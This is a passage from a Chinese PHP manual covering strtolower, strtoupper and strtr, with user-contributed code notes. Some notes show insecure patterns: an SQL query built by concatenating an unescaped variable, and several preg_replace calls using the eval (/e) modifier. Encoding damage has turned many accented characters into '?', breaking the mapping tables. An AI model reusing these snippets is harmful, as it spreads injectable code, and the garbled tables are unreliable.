      $array = $array2;
    }
    else {
      foreach($array as $key => $value) {
        if(is_array($value))
          $array[$key] = arraytolower($value, $include_leys);
        else
          $array[$key] = strtolower($value);
      }
    }

    return $array;
  }
?>

which when used like this

<?php
$array = $array = array('test1' => 'asgAFasDAAd', 'TEST2' => 'ASddhshsDGb', 'TeSt3 '=> 'asdasda@asdadadASDASDgh');

$array1 = arraytolower($array);
$array2 = arraytolower($array,true);

print_r($array1);
print_r($array2);
?>

will give output of

Array
(
    [test1] => asgafasdaad
    [TEST2] => asddhshsdgb
    [TeSt3] => asdasda@asdadadasdasdgh
)
Array
(
    [test1] => asgafasdaad
    [test2] => asddhshsdgb
    [test3] => asdasda@asdadadasdasdgh
)
rodrigoATsistemasparainternetDOTcomDOTbr 09-Sep-2008 06:25
<?php
function fullLower($str){
   // convert to entities
   $subject = htmlentities($str,ENT_QUOTES);
   $pattern = '/&([a-z])(uml|acute|circ';
   $pattern.= '|tilde|ring|elig|grave|slash|horn|cedil|th);/e';
   $replace = "'&'.strtolower('\\1').'\\2'.';'";
   $result = preg_replace($pattern, $replace, $subject);
   // convert from entities back to characters
   $htmltable = get_html_translation_table(HTML_ENTITIES);
   foreach($htmltable as $key => $value) {
      $result = ereg_replace(addslashes($value),$key,$result);
   }
   return(strtolower($result));
}

echo fullLower("? é ò ? úù?");

//results ? é ò ? úù?
//adapted from fullUpper on strtoupper manual
?>
patricia at steuerungb dot de 17-Oct-2007 06:29
When you're not sure, how the current locale is set, you might find the following function useful. It's strtolower for utf8-formatted text:

<?php
function strtolower_utf8($inputString) {
    $outputString    = utf8_decode($inputString);
    $outputString    = strtolower($outputString);
    $outputString    = utf8_encode($outputString);
    return $outputString;
}
?>

It's not suitable for every occasion, but it surely gets in handy. I use it for lowering German 'Umlauts' like ? and ?.
rok dot kralj at gmail dot com 04-Jun-2007 11:49
Slovenian characters

<?php
    function strtolower_slovenian($string)
    {
        $low=array("?" => "?", "?" => "?", "?" => "?");
        return strtolower(strtr($string,$low));
    }

?>
marco at recchiuti dot it 22-May-2007 12:43
Maybe it is not so elegant, but it Works.
It's just a fast Idea and it is what I need.
Any hacks for other characters (link !, ? etc etc) should help.

function RemoveShouting($string)
{
     $frase = "";
     $astri = explode(".", $string);
     foreach ($astri as $elem)
    $frase .= " ".ucfirst(trim(strtolower($elem))).". ";

    return trim($frase);
}

Cheers!
M
spiceee ddotty spiceee com 06-Mar-2006 04:53
If you ever need to strtolower a string with href tags on it and doesn't want to mess with the characters inside a tag, this is for you.

<?php

function loweroutsidetags ($str) {
    $chars = preg_split ("//", $str);
    $tolower = true;
    $str = '';

    foreach ($chars as $k) {
        if ($k == '<') { $tolower = false; }
        if ($tolower) { $k = strtolower ($k); }
        $str .= $k;
        if ($k == '>') { $tolower = true; }
    }
    return $str;
}

?>

this:
echo loweroutsidetags('aALalala <a href="?q=CASEsENSITIVINESSinURLSareSTUPID">')

will give:
aalalala <a href="?q=CASEsENSITIVINESSinURLSareSTUPID">
Patrick 19-Jan-2006 10:57
If you're considering using the below unhtmlentities function from phpContrib, I would suggest this one as an alternative:

<?php
function unhtmlentities($string)
{
   // replace numeric entities
   $string = preg_replace('~&#x([0-9a-f]+);~ei', 'chr(hexdec("\\1"))', $string);
   $string = preg_replace('~&#([0-9]+);~e', 'chr(\\1)', $string);
   // replace literal entities
   $trans_tbl = get_html_translation_table(HTML_ENTITIES);
   $trans_tbl = array_flip($trans_tbl);
   return strtr($string, $trans_tbl);
}
?>

That was copied exactly from the html_entity_decode manual page.  It'll handle numeric entities correctly, the below function won't.
mhuggins57 at yahoo dot com 19-Jul-2005 04:04
There's a ucfirst "function" to make the first character uppercase, but there's no "lcfirst" function to make the first character lowercase.  Here's my own code to accomplish this.

<?
function lcfirst($str) {
    return strtolower(substr($str, 0, 1)) . substr($str, 1);
}
?>

I found this particularly useful for generating XML nodes with the Reflection class.
kmcdermott at perimeterinstitute dot ca 08-Dec-2004 01:04
To do case insensitive comparisons in a database, strtolower() can be a quick and dirty solution:

$Sql = "SELECT * FROM tablename WHERE LOWER(column_name) = '".strtolower($my_var)."'";
bkimble at ebaseweb dot com 19-Jan-2003 10:39
Heres a small function I wrote to stop people from submitting data that is ALL IN CAPS SO THEY CAN GET MORE ATTENTION THAT THE REST OF THE USER SUBMITTED DATA on my website :) If you can make it better, by all means do so. This function splits up words delimited by a space, and makes only the first letter of each word capitalized. You can easily modify it so it's only the very first word of the string. I've also added some exceptions so you don't make things like roman numerals look like "Iii" or "Xcmii" or something.

function RemoveShouting($string)
{
 $lower_exceptions = array(
        "to" => "1", "a" => "1", "the" => "1", "of" => "1"
 );

 $higher_exceptions = array(
        "I" => "1", "II" => "1", "III" => "1", "IV" => "1",
        "V" => "1", "VI" => "1", "VII" => "1", "VIII" => "1",
        "XI" => "1", "X" => "1"
 );

 $words = split(" ", $string);
 $newwords = array();
 foreach ($words as $word)
 {
  if (!$higher_exceptions[$word]) $word = strtolower($word);
  if (!$lower_exceptions[$word]) $word[0] = strtoupper($word[0]);
  array_push($newwords, $word);
 }
 return join(" ", $newwords);
}

BK


将字符串转化为大写

  • ? strtolower
  • strtr ?
  • PHP Manual
  • 字符串 函数
  • 将字符串转化为大写

strtoupper

(PHP 4, PHP 5, PHP 7)

strtoupper — 将字符串转化为大写

说明

strtoupper ( string $string ) : string

将 string 中所有的字母字符转换为大写并返回。

注意 "字母" 与当前所在区域有关。例如，在默认的 "C" 区域，字符 umlaut-a（?）就不会被转换。

参数

string

输入字符串。

返回值

返回转换后的大写字符串。

范例

Example #1 strtoupper() 范例

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = strtoupper($str);
echo $str; // 打印 MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • strtolower() - 将字符串转化为小写
  • ucfirst() - 将字符串的首字母转换为大写
  • ucwords() - 将字符串中每个单词的首字母转换为大写
  • mb_strtoupper() - 使字符串大写

User Contributed Notes

chris at ocproducts dot com 28-Jul-2019 01:08
This function has a real challenge when it comes to Turkish. In Turkish the ASCII letter 'i' uppercases to a non-ASCII character. This means that PHP cannot upper case it.

i.e. for the Turkish locale, strtoupper('i')=='i'

This can mess with basic program logic.

There's no simple solution. The core problem is discussed more here:
http://www.i18nguy.com/unicode/turkish-i18n.html
Dave 24-Jan-2018 07:55
Why this function isn't just named "uppercase" or has an alias named that, I don't know.
uilmind at favor.com.ua 09-Jul-2016 10:36
Here is how to make the character in upper case, except HTML-entities:

$s = substr(preg_replace('/(?<=^|;)(.+?)(?=&[0-9A-Za-z]+;|$)/e', "strtoupper('$1')", ' '.$s), 1);

There is small kludge, however. Unfortunately I tired to find out the way how to exclude HTML-entity at the start of the line, so I have added 1 dummy character at the start of the text and removing it after the conversion.
adriaanse06 at hotmail dot com 28-Jul-2015 11:51
$ther=''.THEREISALREADYA.' '.CONCEPT.' '.SAVED.' ';
or
$ther="There Is all ready A concept SAVED";

$fupper=substr("$ther",0,1);
pick the first char

$theru = strtoupper($fupper);
make it upper

$flower=substr("$ther",1,100);
pick the rest

$therl = strtolower($flower);
make them lower

Result:
There is all ready a concept saved
andre at koethur dot de 10-Jun-2013 08:28
One might think that setting the correct locale would do the trick with for example german umlauts, but this is not the case. You have to use mb_strtoupper() instead:

<?php

setlocale(LC_CTYPE, 'de_DE.UTF8');

echo strtoupper('Umlaute ??ü in uppercase'); // outputs "UMLAUTE ??ü IN UPPERCASE"
echo mb_strtoupper('Umlaute ??ü in uppercase', 'UTF-8'); // outputs "UMLAUTE ??ü IN UPPERCASE"

?>
james at snasta dot ie 10-Nov-2011 06:44
In the Irish language certain initial mutations can never be capitalized — the following simple function can be used to capitalize text in Irish.

i.e. Muintir na héireann -> MUINTIR NA héIREANN

<?php
function strtoupper_ga($a) {
    return strtr(mb_strtoupper($a, "utf-8"), array(
      " MB" => " mB",
      " GC" => " gC",
      " ND" => " nD",
      " BHF" => " bhF",
      " NG" => " nG",
      " BP" => " bP",
      " DT" => " dT",
      " HA" => " hA",
      " HE" => " hE",
      " HI" => " hI",
      " HO" => " hO",
      " HU" => " hU",
      " Há" => " há",
      " Hé" => " hé",
      " Hí" => " hí",
      " Hó" => " hó",
      " Hú" => " hú"
    ));
}
?>
smieat 01-May-2010 04:39
perfect solutions for turkish utf-8 (including i I conversations):

<?php
function strtolowertr($metin){
    return mb_convert_case(str_replace('I','?',$metin), MB_CASE_LOWER, "UTF-8");
}

function strtouppertr($metin){
    return mb_convert_case(str_replace('i','?',$metin), MB_CASE_UPPER, "UTF-8");
}

function ucwordstr($metin) {
    return ltrim(mb_convert_case(str_replace(array(' I',' ?', ' ?', ' i'),array(' I',' I',' ?',' ?'),' '.$metin), MB_CASE_TITLE, "UTF-8"));
}

function ucfirsttr($metin) {
    $metin = in_array(crc32($metin[0]),array(1309403428, -797999993, 957143474)) ? array(strtouppertr(substr($metin,0,2)),substr($metin,2)) : array(strtouppertr($metin[0]),substr($metin,1));
return $metin[0].$metin[1];
}
?>
chris at table4 dot com 19-Jan-2009 07:31
Simple function to change the case of your string and any accented html characters contained within it.

Inspired by fullUpper(), by silent at gmx dot li... just a little bit more atomic.

<?php

function convertCase($str, $case = 'upper')
{ //yours, courtesy of table4.com  :)
  switch($case)
  {
    case "upper" :
    default:
      $str = strtoupper($str);
      $pattern = '/&([A-Z])(UML|ACUTE|CIRC|TILDE|RING|';
      $pattern .= 'ELIG|GRAVE|SLASH|HORN|CEDIL|TH);/e';
      $replace = "'&'.'\\1'.strtolower('\\2').';'"; //convert the important bit back to lower
    break;

    case "lower" :
      $str = strtolower($str);
    break;
  }

  $str = preg_replace($pattern, $replace, $str);
  return $str;
}
?>

Depending on what you are trying to achieve you would call like this:

<?php

//with entities...
$str = convertCase(htmlentities($str, ENT_QUOTES, "ISO-8859-1"));

?>
spaceman at foo dot at 17-Apr-2008 09:59
It has been mentioned in a previous comment that all you need to do to let PHP's strtoupper() do the conversion - instead of writing more or less complicated functions yourself - is to specify the locale in which you're doing the case conversion:

<?php setlocale(LC_CTYPE, "de_AT") ?>

It is important to note that setlocale() will silently fail if it can't find the specified locale on your system, so *always* check its return value. Try different spellings: using "de_AT" as an example, there are various combinations that may or may not work for you: "de", "de_AT.utf8", "de_AT.iso-8859-1", "de_AT.latin1", "de_AT@euro", etc).

If you can't find an appropriate locale setting, check your system configuration (locales are a system-wide setting, PHP gets them from the OS). On Windows, locales can be set from the Control Panel; on Linux it depends on your distribution. You can try "sudo dpkg-reconfigure locales" on Debian-based distros, or configure them manually. On Ubuntu Dapper, I had to copy entries over from /usr/share/i18n/SUPPORTED to /var/lib/locales/supported.d/local, then do the dpkg-reconfigure.

After you're done, restart the web server.

That said, there are special cases where you want to do the conversion manually. In German, for example, the letter '?' (szlig) only exists as a lower-case character, and so doesn't get converted by strtoupper. The convential way to express a '?' in an uppercase string is "SS". This function will take care of this exception (for Latin1 and most of Latin9, at least):

<?php

define("LATIN1_UC_CHARS", "àá??????èéê?ìí??D?òó????ùú?üY");
define("LATIN1_LC_CHARS", "àáa?????èéê?ìí??e?òó????ùú?üy");

function uc_latin1 ($str) {
    $str = strtoupper(strtr($str, LATIN1_LC_CHARS, LATIN1_UC_CHARS));
    return strtr($str, array("?" => "SS"));
}

?>
Oliv. 11-Oct-2007 07:20
accents convertion trick :

<?php

    function ucfirstHTMLentity($matches){
        return "&".ucfirst(strtolower($matches[1])).";";
    }
    function fullUpper($str){
        $subject = strtoupper(htmlentities($str, null, 'UTF-8'));
        $pattern = '/&([A-Z]+);/';
        return preg_replace_callback($pattern, "ucfirstHTMLentity", $subject);
    }

        print fullUpper($_REQUEST["txt"]);

?>
RUNET 17-Apr-2007 05:33
Russian

function str_to_upper($str){
    return strtr($str,
    "abcdefghijklmnopqrstuvwxyz".
    "\xE0\xE1\xE2\xE3\xE4\xE5".
    "\xb8\xe6\xe7\xe8\xe9\xea".
    "\xeb\xeC\xeD\xeE\xeF\xf0".
    "\xf1\xf2\xf3\xf4\xf5\xf6".
    "\xf7\xf8\xf9\xfA\xfB\xfC".
    "\xfD\xfE\xfF",
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
    "\xC0\xC1\xC2\xC3\xC4\xC5".
    "\xA8\xC6\xC7\xC8\xC9\xCA".
    "\xCB\xCC\xCD\xCE\xCF\xD0".
    "\xD1\xD2\xD3\xD4\xD5\xD6".
    "\xD7\xD8\xD9\xDA\xDB\xDC".
    "\xDD\xDE\xDF");
}
bart at insane dot at 10-May-2006 04:31
When using UTF-8 and need to convert to uppercase with
special characters like the german ?,?,ü (didn't test for french,polish,russian but think it should work, too) try this:

function strtoupper_utf8($string){
    $string=utf8_decode($string);
    $string=strtoupper($string);
    $string=utf8_encode($string);
    return $string;
}
30-May-2005 06:11
// 2005/5/30 Justin
    // Chinese_Traditional toupper
    function CT_to_upper($string)
    {
        $isChineseStart = false;

          $new_string = "";
         $i = 0;
          while($i < strlen($string))
          {
               if (ord(substr($string,$i,1)) <128)
               {
                   if( $isChineseStart == false )
                       $new_string .= strtoupper(mb_substr($string,$i,1));
                   else
                       $new_string .= substr($string,$i,1);
               }
               else
               {
                   if( $isChineseStart == false )
                       $isChineseStart = true;
                   else
                       $isChineseStart = false;

                     $new_string .= substr($string,$i,1);
               }
               $i++;
          }
          return $new_string;
    }
    //
willyann at gmail dot com 24-May-2005 09:31
chinese

function to_upper($string) {
  $new_string = "";
  $i = 0;
  while($i < strlen($string)) {
   if (ord(substr($string,$i,1)) <128)
   {
     $new_string .= strtoupper(substr($string,$i,1));
     $i++;
   } else {
     $new_string .= substr($string,$i,2);
     $i=$i+2;
   }
  }
  return $new_string;
}
30-Oct-2004 03:23
If you only need to extend the conversion by the characters of a certain language, it's possible to control this using an environment variable to change the locale:

setlocale(LC_CTYPE, "de_DE");
mec at stadeleck dot org 02-Dec-2002 06:54
something I myself first not thought about:
if there are any html entities (named entities) in your string, strtoupper will turn all letters within this entities to upper case, too. So if you want to manipulate a string with strtoupper it should contain only unicode entities (if ever).


转换指定字符

  • ? strtoupper
  • substr_compare ?
  • PHP Manual
  • 字符串 函数
  • 转换指定字符

strtr

(PHP 4, PHP 5, PHP 7)

strtr — 转换指定字符

说明

strtr ( string $str , string $from , string $to ) : string
strtr ( string $str , array $replace_pairs ) : string

该函数返回 str 的一个副本，并将在 from 中指定的字符转换为 to 中相应的字符。 比如， $from[$n]中每次的出现都会被替换为 $to[$n]，其中 $n 是两个参数都有效的位移(offset)。

如果 from 与 to 长度不相等，那么多余的字符部分将被忽略。 str 的长度将会和返回的值一样。

If given two arguments, the second should be an array in the form array('from' => 'to', ...). The return value is a string where all the occurrences of the array keys have been replaced by the corresponding values. The longest keys will be tried first. Once a substring has been replaced, its new value will not be searched again.

In this case, the keys and the values may have any length, provided that there is no empty key; additionally, the length of the return value may differ from that of str. However, this function will be the most efficient when all the keys have the same size.

参数

str

待转换的字符串。

from

字符串中与将要被转换的目的字符 to 相对应的源字符。

to

字符串中与将要被转换的字符 from 相对应的目的字符。

replace_pairs

参数 replace_pairs 可以用来取代 to 和 from 参数，因为它是以 array('from' => 'to', ...) 格式出现的数组。

返回值

返回转换后的字符串。

如果 replace_pairs 中包含一个空字符串（""）键，那么将返回 FALSE。 If the str is not a scalar then it is not typecasted into a string, instead a warning is raised and NULL is returned.

范例

Example #1 strtr() 范例

<?php
$addr = strtr($addr, "???", "aao");
?>

The next example shows the behavior of strtr() when called with only two arguments. Note the preference of the replacements ("h" is not picked because there are longer matches) and how replaced text was not searched again.

Example #2 使用两个参数的 strtr() 范例

<?php
$trans = array("hello" => "hi", "hi" => "hello");
echo strtr("hi all, I said hello", $trans);
?>

以上例程会输出：

hello all, I said hi

The two modes of behavior are substantially different. With three arguments, strtr() will replace bytes; with two, it may replace longer substrings.

Example #3 strtr() behavior comparison

<?php
echo strtr("baab", "ab", "01"),"\n";

$trans = array("ab" => "01");
echo strtr("baab", $trans);
?>

以上例程会输出：

1001
ba01

参见

  • str_replace() - 子字符串替换
  • preg_replace() - 执行一个正则表达式的搜索和替换

User Contributed Notes

Sven Ludwig 15-Feb-2019 12:03
A simple one-liner approach for a case insensitive equivalent to strtr():

<?php
function stritr(string $str, array $replace_pairs): string {
    return str_ireplace(array_keys($replace_pairs), array_values($replace_pairs), $str);
}
?>
Annubis 09-Sep-2018 06:49
Since I was having a lot of trouble finding a multibyte safe strtr and the solutions I found didn't help, I came out with this function, I don't know how it works with non latin chars but it works for me using spanish/french utf8, I hope it helps someone...
<?php
if(!function_exists('mb_strtr')) {
    function mb_strtr ($str, $from, $to = null) {
        if(is_array($from)) {
            $from = array_map('utf8_decode', $from);
            $from = array_map('utf8_decode', array_flip ($from));
            return utf8_encode (strtr (utf8_decode ($str), array_flip ($from)));
        }
        return utf8_encode (strtr (utf8_decode ($str), utf8_decode($from), utf8_decode ($to)));
    }
}
?>
evan dot king at NOSPAM dot example dot com 24-Apr-2015 03:05
Here's an important real-world example use-case for strtr where str_replace will not work or will introduce obscure bugs:

<?php

$strTemplate = "My name is :name, not :name2.";
$strParams = [
  ':name' => 'Dave',
  'Dave' => ':name2 or :password', // a wrench in the otherwise sensible input
  ':name2' => 'Steve',
  ':pass' => '7hf2348', // sensitive data that maybe shouldn't be here
];

echo strtr($strTemplate, $strParams);
// "My name is Dave, not Steve."

echo str_replace(array_keys($strParams), array_values($strParams), $strTemplate);
// "My name is Steve or 7hf2348word, not Steve or 7hf2348word2."

?>

Any time you're trying to template out a string and don't necessarily know what the replacement keys/values will be (or fully understand the implications of and control their content and order), str_replace will introduce the potential to incorrectly match your keys because it does not expand the longest keys first.

Further, str_replace will replace in previous replacements, introducing potential for unintended nested expansions.  Doing so can put the wrong data into the "sub-template" or even give users a chance to provide input that exposes data (if they get to define some of the replacement strings).

Don't support recursive expansion unless you need it and know it will be safe.  When you do support it, do so explicitly by repeating strtr calls until no more expansions are occurring or a sane iteration limit is reached, so that the results never implicitly depend on order of your replacement keys.  Also make certain that any user input will expanded in an isolated step after any sensitive data is already expanded into the output and no longer available as input.

Note: using some character(s) around your keys to designate them also reduces the possibility of unintended mangling of output, whether maliciously triggered or otherwise.  Thus the use of a colon prefix in these examples, which you can easily enforce when accepting replacement input to your templating/translation system.
Romain 23-Oct-2014 09:44
<?php
    /**
     * Clean string,
     * minimize and remove space, accent and other
     *
     * @param string $string
     * @return string
     */
    public function mb_strtoclean($string){
        // Valeur a nettoyer (conversion)
        $unwanted_array = array(    '?'=>'S', '?'=>'s', '?'=>'Z', '?'=>'z', 'à'=>'A', 'á'=>'A', '?'=>'A', '?'=>'A', '?'=>'A', '?'=>'A', '?'=>'A', '?'=>'C', 'è'=>'E', 'é'=>'E',
                                    'ê'=>'E', '?'=>'E', 'ì'=>'I', 'í'=>'I', '?'=>'I', '?'=>'I', '?'=>'N', 'ò'=>'O', 'ó'=>'O', '?'=>'O', '?'=>'O', '?'=>'O', '?'=>'O', 'ù'=>'U',
                                    'ú'=>'U', '?'=>'U', 'ü'=>'U', 'Y'=>'Y', 'T'=>'B', '?'=>'Ss', 'à'=>'a', 'á'=>'a', 'a'=>'a', '?'=>'a', '?'=>'a', '?'=>'a', '?'=>'a', '?'=>'c',
                                    'è'=>'e', 'é'=>'e', 'ê'=>'e', '?'=>'e', 'ì'=>'i', 'í'=>'i', '?'=>'i', '?'=>'i', 'e'=>'o', '?'=>'n', 'ò'=>'o', 'ó'=>'o', '?'=>'o', '?'=>'o',
                                    '?'=>'o', '?'=>'o', 'ù'=>'u', 'ú'=>'u', '?'=>'u', 'y'=>'y', 'y'=>'y', 't'=>'b', '?'=>'y',
                                    ' ' => '', '_' => '', '-' => '', '.'=> '', ',' => '', ';' => '');

        return mb_strtolower(strtr($string, $unwanted_array ));
    }
doydoy44 12-Aug-2013 04:01
The example of VOVA (http://www.php.net/manual/fr/function.strtr.php#111968) is good but the result is false:
His example dont replace the string.

<?php
function f1_strtr() {
  for($i=0; $i<1000000; ++$i) {
    $new_string = strtr("aboutdealers.com", array(".com" => ""));
  }
  return $new_string;
}
function f2_str_replace() {
  for($i=0; $i<1000000; ++$i) {
    $new_string = str_replace( ".com", "", "aboutdealers.com");
  }
  return $new_string;
}
$start = microtime(true);
$strtr = f1_strtr();
$stop = microtime(true);
$time_strtr = $stop - $start;

$start = microtime(true);
$str_replace = f2_str_replace();
$stop = microtime(true);
$time_str_replace = $stop - $start;

echo 'time strtr       : ' . $time_strtr       . "\tresult :" . $strtr       . "\n";
echo 'time str_replace : ' . $time_str_replace . "\tresult :" . $str_replace . "\n";
echo 'time strtr > time str_replace => ' . ($time_strtr > $time_str_replace);
?>
--------------------------------------
time strtr       : 3.9719619750977      result :aboutdealers
time str_replace : 2.9930369853973      result :aboutdealers
time strtr > time str_replace => 1

str_replace is faster than strtr
dcz at phpbb-seo dot com 08-Aug-2013 08:26
strstr will issue a notice when $replace_pairs contains an array, even unused, with php 5.5.0.

It was not the case with version at least up to 5.3.2, but I'm not sure the notice was added with exactly 5.5.0.

<?php
$str = 'hi all, I said hello';
$replace_pairs = array(
      'all' => 'everybody',
    'unused' => array('somtehing', 'something else'),
     'hello' => 'hey',
);
// php 5.5.0 Notice: Array to string conversion in test.php on line 8
echo strtr($str, $replace_pairs); // hi everybody, I said hey
?>

since the result is still correct, @strstr seems a working solution.
lichail at sohu dot com 22-Jun-2013 01:11
<?php
//note this output null
echo strtr('abc', array('' => ''));
?>
Hayley Watson 01-Feb-2013 02:04
Since strtr (like PHP's other string functions) treats strings as a sequence of bytes, and since UTF-8 and other multibyte encodings use - by definition - more than one byte for at least some characters, the three-string form is likely to have problems. Use the associative array form to specify the mapping.

<?php
// Assuming UTF-8
$str = '?bc ?bc'; // strtr() sees this as nine bytes (including two for each ?)
echo strtr($str, '?', 'a'); // The second argument is equivalent to the string "\xc3\x84" so "\xc3" gets replaced by "a" and the "\x84" is ignored

echo strtr($str, array('?' => 'a')); // Works much better
?>
qeremy [atta] gmail [dotta] com 22-Jan-2013 07:19
Weird, but strtr corrupting chars, if used like below and if file is encoded in UTF-8;

<?php
$str = '?bc ?bc';
echo strtr($str, '?', 'a');
// output: a?bc a?bc
?>

And a simple solution;

<?php
function strtr_unicode($str, $a = null, $b = null) {
    $translate = $a;
    if (!is_array($a) && !is_array($b)) {
        $a = (array) $a;
        $b = (array) $b;
        $translate = array_combine(
            array_values($a),
            array_values($b)
        );
    }
    // again weird, but accepts an array in this case
    return strtr($str, $translate);
}

$str = '?bc ?bc';
echo strtr($str, '?', 'a') ."\n";
echo strtr_unicode($str, '?', 'a') ."\n";
echo strtr_unicode($str, array('?' => 'a')) ."\n";
// outputs
// a?bc a?bc
// abc abc
// abc abc
?>
Tedy 01-Nov-2012 08:43
Since strtr() is twice faster than strlwr I decided to write my own lowering function which also handles UTF-8 characters.

<?php

function strlwr($string, $utf = 1)
{
    $latin_letters = array('?' => 'a',
                            '?' => 'a',
                            '?' => 'i',
                            '?' => 's',
                            '?' => 's',
                            '?' => 't',
                            '?' => 't');

    $utf_letters = array('?' => '?',
                        '?' => 'a',
                        '?' => '?',
                        '?' => '?',
                        '?' => '?',
                        '?' => '?',
                        '?' => '?');

    $letters = array('A' => 'a',
                    'B' => 'b',
                    'C' => 'c',
                    'D' => 'd',
                    'E' => 'e',
                    'F' => 'f',
                    'G' => 'g',
                    'H' => 'h',
                    'I' => 'i',
                    'J' => 'j',
                    'K' => 'k',
                    'L' => 'l',
                    'M' => 'm',
                    'N' => 'n',
                    'O' => 'o',
                    'P' => 'p',
                    'Q' => 'q',
                    'R' => 'r',
                    'S' => 's',
                    'T' => 't',
                    'U' => 'u',
                    'V' => 'v',
                    'W' => 'w',
                    'X' => 'x',
                    'Y' => 'y',
                    'Z' => 'z');

    return ($utf == 1) ? strtr($string, array_merge($utf_letters, $letters)) : strtr($string, array_merge($latin_letters, $letters));
}

?>

This allows you to lower every character (even UTF-8 ones) if you don't set the second parameter, or just lower the UTF-8 ones into their specific latin characters (used when making friendly-urls for example).

I used romanian characters but, of course, you can add your own local characters.

Feel free to use/modify this function as you wish. Hope it helps.
patrick dot rauchfuss at gmail dot com 24-Aug-2012 08:04
Here my solution of an classes recursive caseinsentive strtr..

<?php
class String
{
    public static function stritr(&$string, $from, $to = NULL)
    {
        if(is_string($from))
            $string = preg_replace("'$from'i", $to, $string);

        else if(is_array($from))
        {
            foreach ($from as $key => $val)
                self::stritr($string, $key, $val);
        }

        return $string;
    }
}

// example:
$string = "Hello world. This is just a simple test";
print String::stritr($string, 'WorLd', 'foo');

// array example:
print String::stritr($string, array('WorLd' => 'foo', 'TEST' => 'bar'));
?>
antimoz at gmail dot com 09-Feb-2012 03:08
Here is my array for char normalization:
<?php
        $normalizeChars = array(
            'á'=>'A', 'à'=>'A', '?'=>'A', '?'=>'A', '?'=>'A', '?'=>'A', '?'=>'AE', '?'=>'C',
            'é'=>'E', 'è'=>'E', 'ê'=>'E', '?'=>'E', 'í'=>'I', 'ì'=>'I', '?'=>'I', '?'=>'I', 'D'=>'Eth',
            '?'=>'N', 'ó'=>'O', 'ò'=>'O', '?'=>'O', '?'=>'O', '?'=>'O', '?'=>'O',
            'ú'=>'U', 'ù'=>'U', '?'=>'U', 'ü'=>'U', 'Y'=>'Y',

            'á'=>'a', 'à'=>'a', 'a'=>'a', '?'=>'a', '?'=>'a', '?'=>'a', '?'=>'ae', '?'=>'c',
            'é'=>'e', 'è'=>'e', 'ê'=>'e', '?'=>'e', 'í'=>'i', 'ì'=>'i', '?'=>'i', '?'=>'i', 'e'=>'eth',
            '?'=>'n', 'ó'=>'o', 'ò'=>'o', '?'=>'o', '?'=>'o', '?'=>'o', '?'=>'o',
            'ú'=>'u', 'ù'=>'u', '?'=>'u', 'ü'=>'u', 'y'=>'y',

            '?'=>'sz', 't'=>'thorn', '?'=>'y'
        );
?>
Sam 01-Feb-2012 10:33
Case Insensitive strtr

<?php
function stritr($string, $one, $two=null) {
    if (is_string($one)) {
        return strtr($string, strtoupper($one) . strtolower($one), "$two$two");
    } else if (is_array($one)) {
        $strReturn = $string
        foreach ($one as $key => $val) {
            $strReturn = preg_replace("'$key'i", $val, $strReturn);
        }
        return $strReturn;
    }
    return $string;
}
?>
Michael Schuijff 24-Oct-2011 10:02
I found that this approach is often faster than strtr() and won't change the same thing in your string twice (as opposed to str_replace(), which will overwrite things in the order of the array you feed it with):

<?php
function replace ($text, $replace) {
    $keys = array_keys($replace);
    $length = array_combine($keys, array_map('strlen', $keys));
    arsort($length);

    $array[] = $text;
    $count = 1;
    reset($length);
    while ($key = key($length)) {
        if (strpos($text, $key) !== false) {
            for ($i = 0; $i < $count; $i += 2) {
                if (($pos = strpos($array[$i], $key)) === false) continue;
                array_splice($array, $i, 1, array(substr($array[$i], 0, $pos), $replace[$key], substr($array[$i], $pos + strlen($key))));
                $count += 2;
            }
        }
        next($length);
    }
    return implode($array);
}
?>
Chris 04-Feb-2011 12:49
Hope this is useful when you need to see ASCII control characters:
<?php
$xlate = array(chr(0) => '^@/NUL/null', chr(1) => '^A/SOH/start of heading', chr(2) => '^B/STX/start of text', chr(3) => '^C/ETX/end of text', chr(4) => '^D/EOT/end of transmisssion', chr(5) => '^E/ENQ/enquiry', chr(6) => '^F/ACK/acknowledge', chr(7) => '^G/BEL/bell', chr(8) => '^H/BS/backspace', chr(9) => '^I/TAB/horizontal tab', chr(10) => '^J/LF/NL/line feed/new line', chr(11) => '^K/VT/vertical tab', chr(12) => '^L/FF/NP/form feed/new page/', chr(13) => '^M/CR/carrige return', chr(14) => '^N/SO/shift out', chr(15) => '^O/SI/shift in', chr(16) => '^P/DLE/data link escape', chr(17) => '^Q/DC1/device control 1', chr(18) => '^R/DC2/device control 2', chr(19) => '^S/DC3/device control 3', chr(20) => '^T/DC4/device control 4', chr(21) => '^U/NAK/negative acknowledge', chr(22) => '^V/SYN/synchronous idle', chr(23) => '^W/ETB/end of transmission block', chr(24) => '^X/CAN/cancel', chr(25) => '^Y/EM/end of medium', chr(26) => '^Z/SUB/substiute', chr(27) => '^[/ESC/escape', chr(28) => '^\/FS/file separator', chr(29) => '^]/GS/group separator', chr(30) => '^^/RS/record separator', chr(31) => '^_/US/unit separator', chr(32) => 'Space');

$x = 0;
$pad = strlen(strlen($str));
while(isset($str[$x]))
   echo 'character ', str_pad($x+1, $pad), ' = ', strtr($str[$x], $xlate), ' (ascii ', ord($str[$x++]), ')';
?>
elloromtz at gmail dot com 19-Apr-2010 05:08
If you supply 3 arguments and the 2nd is an array, strtr will search the "A" from "Array" (because you're treating it as a scalar string) and replace it with the 3rd argument:

strtr('Analogy', array('x'=>'y'),  '_'); //'_nalogy'

so in reality the above code has the same affect as:

strtr('Analogy', 'A' , '_');
allixsenos at gmail dot com 16-May-2009 08:55
fixed "normaliza" functions written below to include Slavic Latin characters... also, it doesn't return lowercase any more (you can easily get that by applying strtolower yourself)...

also, renamed to normalize()

<?php

function normalize ($string) {
    $table = array(
        '?'=>'S', '?'=>'s', '?'=>'Dj', '?'=>'dj', '?'=>'Z', '?'=>'z', '?'=>'C', '?'=>'c', '?'=>'C', '?'=>'c',
        'à'=>'A', 'á'=>'A', '?'=>'A', '?'=>'A', '?'=>'A', '?'=>'A', '?'=>'A', '?'=>'C', 'è'=>'E', 'é'=>'E',
        'ê'=>'E', '?'=>'E', 'ì'=>'I', 'í'=>'I', '?'=>'I', '?'=>'I', '?'=>'N', 'ò'=>'O', 'ó'=>'O', '?'=>'O',
        '?'=>'O', '?'=>'O', '?'=>'O', 'ù'=>'U', 'ú'=>'U', '?'=>'U', 'ü'=>'U', 'Y'=>'Y', 'T'=>'B', '?'=>'Ss',
